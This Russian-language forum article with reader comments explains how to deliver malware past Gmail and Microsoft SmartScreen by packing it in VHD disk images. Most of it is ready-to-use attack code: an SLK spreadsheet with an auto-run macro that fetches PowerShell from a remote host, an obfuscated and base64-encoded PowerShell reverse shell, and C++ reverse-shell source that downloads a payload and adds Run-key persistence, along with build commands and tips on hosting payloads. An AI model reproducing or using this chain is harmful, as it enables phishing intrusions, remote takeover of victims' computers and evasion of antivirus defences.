Статья Обход проверки вредоносных файлов почтовыми службами и фильтром Microsoft SmartScreen

gushmazuko

gushmazuko

Red Team
24.03.2017
153
382
Введение
Приветствую всех! В этой статье мы рассмотрим метод обхода анализа отравляемых нами файлов почтовой службой Gmail и встроенным в Windows компонентом Microsoft SmartScreen. Недавно что файлы внутри виртуальных дисков VHD и VHDX не сканируются антивирусами. И даже при запуске подозрительных файлов внутри таких образов, служба SmartScreen не выдает абсолютно никаких предупреждений пользователю. А почтовые сервисы вовсе не умеют их читать и позволяют беспрепятственно передавать внутри них вирусы.

Основная часть
Для начала создадим MS Excel подобный файл (.slk) с полезной нагрузкой и попытаемся отправить его нашей жертве через Gmail.
В текстовом редакторе пишем следующий код и сохраняем с расширением .slk

Bash:
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;EEXEC("pOwERsHELL -eX b -W 1 -nOP -nONi IEX((nEW-obJECT nEt.wEBClIEnT).dOWNloADstRiNG('ht'+'tp://10.100.10.100/PaYloAD.txt'))")
C;X1;Y102;EHALT()
E
PS: Методом тыка было выяснено что строка длиннее этой не работает, учитывайте это.

Как вы уже догадались это WebDelivry, следовательно сам payload необходимо разместить где то на сервере. Я буду использовать однострочный reverse cmd shell в исполнении .

Переводим наш IP адрес в HEX
Bash:
printf "%x,%x,%x,%x\n" 10 100 10 100
Обход проверки вредоносных файлов почтовыми службами и фильтром Microsoft SmartScreen
Вставляем в код:
Bash:
while ($true) {$px = "a","64","a","64";$p = ($px | ForEach { [convert]::ToInt32($_,16) }) -join '.';$w = "GET /index.html HTTP/1.1`r`nHost: $p`r`nMozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0`r`nAccept: text/html`r`n`r`n";$s = [System.Text.ASCIIEncoding];[byte[]]$b = 0..65535|%{0};$x = "n-eiorvsxpk5";Set-alias $x ($x[$true-10] + ($x[[byte]("0x" + "FF") - 265]) + $x[[byte]("0x" + "9a") - 158]);$y = New-Object System.Net.Sockets.TCPClient($p,8443);$z = $y.GetStream();$d = $s::UTF8.GetBytes($w);$z.Write($d, 0, $d.Length);$t = (n-eiorvsxpk5 whoami) + "$ ";while(($l = $z.Read($b, 0, $b.Length)) -ne 0){;$v = (New-Object -TypeName $s).GetString($b,0, $l);$d = $s::UTF8.GetBytes((n-eiorvsxpk5 $v 2>&1 | Out-String )) + $s::UTF8.GetBytes($t);$z.Write($d, 0, $d.Length);}$y.Close();Start-Sleep -Seconds 5}
Порт находится по середине:
Bash:
$y = New-Object System.Net.Sockets.TCPClient($p,8443);
Переводим все это в base64 (скрипт можно скачать )

Обход проверки вредоносных файлов почтовыми службами и фильтром Microsoft SmartScreen

Bash:
IEX([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAJABwAHgAIAA9ACAAIgBhACIALAAiADYANAAiACwAIgBhACIALAAiADYANAAiADsAJABwACAAPQAgACgAJABwAHgAIAB8ACAARgBvAHIARQBhAGMAaAAgAHsAIABbAGMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEkAbgB0ADMAMgAoACQAXwAsADEANgApACAAfQApACAALQBqAG8AaQBuACAAJwAuACcAOwAkAHcAIAA9ACAAIgBHAEUAVAAgAC8AaQBuAGQAZQB4AC4AaAB0AG0AbAAgAEgAVABUAFAALwAxAC4AMQBgAHIAYABuAEgAbwBzAHQAOgAgACQAcABgAHIAYABuAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADEAMAAuADAAOwAgAFcATwBXADYANAA7ACAAcgB2ADoANQA2AC4AMAApACAARwBlAGMAawBvAC8AMgAwADEAMAAwADEAMAAxACAARgBpAHIAZQBmAG8AeAAvADUANgAuADAAYAByAGAAbgBBAGMAYwBlAHAAdAA6ACAAdABlAHgAdAAvAGgAdABtAGwAYAByAGAAbgBgAHIAYABuACIAOwAkAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnAF0AOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwAkAHgAIAA9ACAAIgBuAC0AZQBpAG8AcgB2AHMAeABwAGsANQAiADsAUwBlAHQALQBhAGwAaQBhAHMAIAAkAHgAIAAoACQAeABbACQAdAByAHUAZQAtADEAMABdACAAKwAgACgAJAB4AFsAWwBiAHkAdABlAF0AKAAiADAAeAAiACAAKwAgACIARgBGACIAKQAgAC0AIAAyADYANQBdACkAIAArACAAJAB4AFsAWwBiAHkAdABlAF0AKAAiADAAeAAiACAAKwAgACIAOQBhACIAKQAgAC0AIAAxADUAOABdACkAOwAkAHkAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAkAHAALAA0ADQANAA0ACkAOwAkAHoAIAA9ACAAJAB5AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAJABkACAAPQAgACQAcwA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAdwApADsAJAB6AC4AVwByAGkAdABlACgAJABkACwAIAAwACwAIAAkAGQALgBMAGUAbgBnAHQAaAApADsAJAB0ACAAPQAgACgAbgAtAGUAaQBvAHIAdgBzAHgAcABrADUAIAB3AGgAbwBhAG0AaQApACAAKwAgACIAJAAgACIAOwB3AGgAaQBsAGUAKAAoACQAbAAgAD0AIAAkAHoALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJAB2ACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAJABzACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAgACQAbAApADsAJABkACAAPQAgACQAcwA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAbgAtAGUAaQBvAHIAdgBzAHgAcABrADUAIAAkAHYAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApACkAIAArACAAJABzADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJAB0ACkAOwAkAHoALgBXAHIAaQB0AGUAKAAkAGQALAAgADAALAAgACQAZAAuAEwAZQBuAGcAdABoACkAOwB9ACQAeQAuAEMAbABvAHMAZQAoACkAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1AH0A')))
Не стандартно, но именно такой подход создает всего лишь один процесс powershell, вместо двух при использовании powershell -enc .... Если не понятно, посмотрите видео.

У нас получился 100% FUD обратный cmd shell. В боевых условиях следовало бы разместить это на облачных хостерах таких как githab, gitlab, pastebin и т.д, но для лабораторных тестов сойдет и локальный http сервер.
Теперь попытаемся отправить полученный .slk файл по почте нашей жертве. Кстати .slk можно сконвертировать в обычный .xls, для этого откройте его в Excel и сохраните в формате Excel 2003, результат этого видите ниже.

Обход проверки вредоносных файлов почтовыми службами и фильтром Microsoft SmartScreen

Gmail не дает нам оправить .xls, потому что обнаружил в нем "вирус". Ну что же, прикрутим еще экзешник.

Снова тот же Paranoid Ninja и 100% FUD reverse cmd shell но только на C++. Давайте допишим к нему немного функционала, а именно загрузку файлов и редактирование реестра Windows, что бы закрепиться в системе при первом же запуске.
C++:
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <urlmon.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "urlmon.lib")
#define DEFAULT_BUFLEN 1024

void RunShell(char* C2Server, int C2Port) {
    while(true) {
        Sleep(5000);

        SOCKET mySocket;
        sockaddr_in addr;
        WSADATA version;
        WSAStartup(MAKEWORD(2,2), &version);
        mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
        addr.sin_family = AF_INET;

        addr.sin_addr.s_addr = inet_addr(C2Server);
        addr.sin_port = htons(C2Port);

        if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
            closesocket(mySocket);
            WSACleanup();
            continue;
        }
        else {
            char RecvData[DEFAULT_BUFLEN];
            memset(RecvData, 0, sizeof(RecvData));
            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
            if (RecvCode <= 0) {
                closesocket(mySocket);
                WSACleanup();
                continue;
            }
            else {
                char Process[] = "c:\\WInDOWs\\sYSteM32\\cMd.eXe";
                STARTUPINFO sinfo;
                PROCESS_INFORMATION pinfo;
                memset(&sinfo, 0, sizeof(sinfo));
                sinfo.cb = sizeof(sinfo);
                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
                WaitForSingleObject(pinfo.hProcess, INFINITE);
                CloseHandle(pinfo.hProcess);
                CloseHandle(pinfo.hThread);

                memset(RecvData, 0, sizeof(RecvData));
                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
                if (RecvCode <= 0) {
                    closesocket(mySocket);
                    WSACleanup();
                    continue;
                }
                if (strcmp(RecvData, "exit\n") == 0) {
                    exit(0);
                }
            }
        }
    }
}

void DownlaodFile(LPCTSTR url, LPCTSTR path) {
  URLDownloadToFile(NULL, url, path, 0, NULL);
}

void RegistryWrite(LPCTSTR subkey,LPCTSTR name,DWORD type,const char* value ) {
    HKEY key;
    RegOpenKey(HKEY_CURRENT_USER,subkey,&key);
    RegSetValueEx(key, name, 0, type, (LPBYTE)value, strlen(value)*sizeof(char));
    RegCloseKey(key);
}


int main(int argc, char **argv) {
    FreeConsole();
    char host[] = "10.100.10.100";
    int port = 8443;

    char* path = getenv("APPDATA");
    char filename[] = "\\ninja.exe";
    strcat(path, filename);

    DownlaodFile("http://10.100.10.100/ninja.exe",path);
    RegistryWrite("Software\\Microsoft\\Windows\\CurrentVersion\\Run","ForCodeby",REG_SZ,path);

    RunShell(host, port);
    return 0;
}

Я скомпилировал программу как в своих предыдущих статьях, с сертификатом и файлом manifest.
Bash:
i686-w64-mingw32-g++ prometheus.cpp SecurityHealthSystray/SecurityHealthSystray.res -o ninja.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -static -lurlmon
Обход проверки вредоносных файлов почтовыми службами и фильтром Microsoft SmartScreen

В целях безопасности Gmail блокирует файлы .exe, даже в нутри архива RAR.
Создадим виртуальный диск VHD и отправим наши файл в нем.

Обход проверки вредоносных файлов почтовыми службами и фильтром Microsoft SmartScreen

Мы успешно справились с поставленной целью. Как было сказано выше, .exe в нутри образа vhd запускается по двойному клику, без характерного преудпреждения о том, что запуская данную программу мы подвергаем компьютер риску. А Excel выдаст другое, более приемлемое предупреждение на счет макросов. Подробнее смотрите в видео.


Первоисточники использованных материалов:


С вами был gushmazuko, до новых встреч!
 
Последнее редактирование:
A

Air7771

Премиум
22.02.2017
96
63
Только вот почему-то никто не пишет, что созданный автором виртуальный жесткий диск будет открываться только у него. Попробуйте открыть файл формата .vhd в другой системе семейства Windows и вы будете неприятно удивлены.
 
gushmazuko

gushmazuko

Red Team
24.03.2017
153
382
Только вот почему-то никто не пишет, что созданный автором виртуальный жесткий диск будет открываться только у него. Попробуйте открыть файл формата .vhd в другой системе семейства Windows и вы будете неприятно удивлены.
На машине А я создал диск .vhd и по почте отправил его на машину Б, где он успешно выполнил свою цель.
Для нагядности даю тебе ссылку с привязкой ко времени https://youtu.be/sZMUOw5jGAA?t=1041
 
Последнее редактирование:
A

Air7771

Премиум
22.02.2017
96
63
Протестировал еще раз - способ работает, только если диск был создан в 10 версии винды и открыт в 10 версии винды, для семерки не робит.
 
FakeMaker

FakeMaker

New member
19.07.2019
1
0
Было бы слишком простро если бы и на 7 работал способ.
 
☠xrahitel☠

☠xrahitel☠

Well-known member
09.12.2016
163
266
за обзор слова добрые но много движений тут макрос то не каждого заставишь открыть а тут этот формат и там щелкать так себе вариант конечно моё чисто имхо а вот по части расширением .slk то же тестил не так давно показывает не плоха себя.

 
A

Air7771

Премиум
22.02.2017
96
63
Было бы слишком простро если бы и на 7 работал способ.
В статье нет ни слова о том, на каких системах это работает. То есть предварительно нужно провести сбор информации о системе цели.
 
mrOkey

mrOkey

Red Team
14.11.2017
555
676
Так разговор про аудит или обход фильтров АВ почтовых сервисов?
Разговор про обход ав фильтров. Обход ав фильтров используется для аудита, на этапе проверки сотрудников в плане сознательности информационной безопасности через си.

На этом этапе уже проведена разведка, следовательно у красной команды есть необходимая информация
 
A

afanasev

New member
29.10.2018
3
0
Я так понимаю, если создать на 7, то на другой 7 будет открываться без проблем?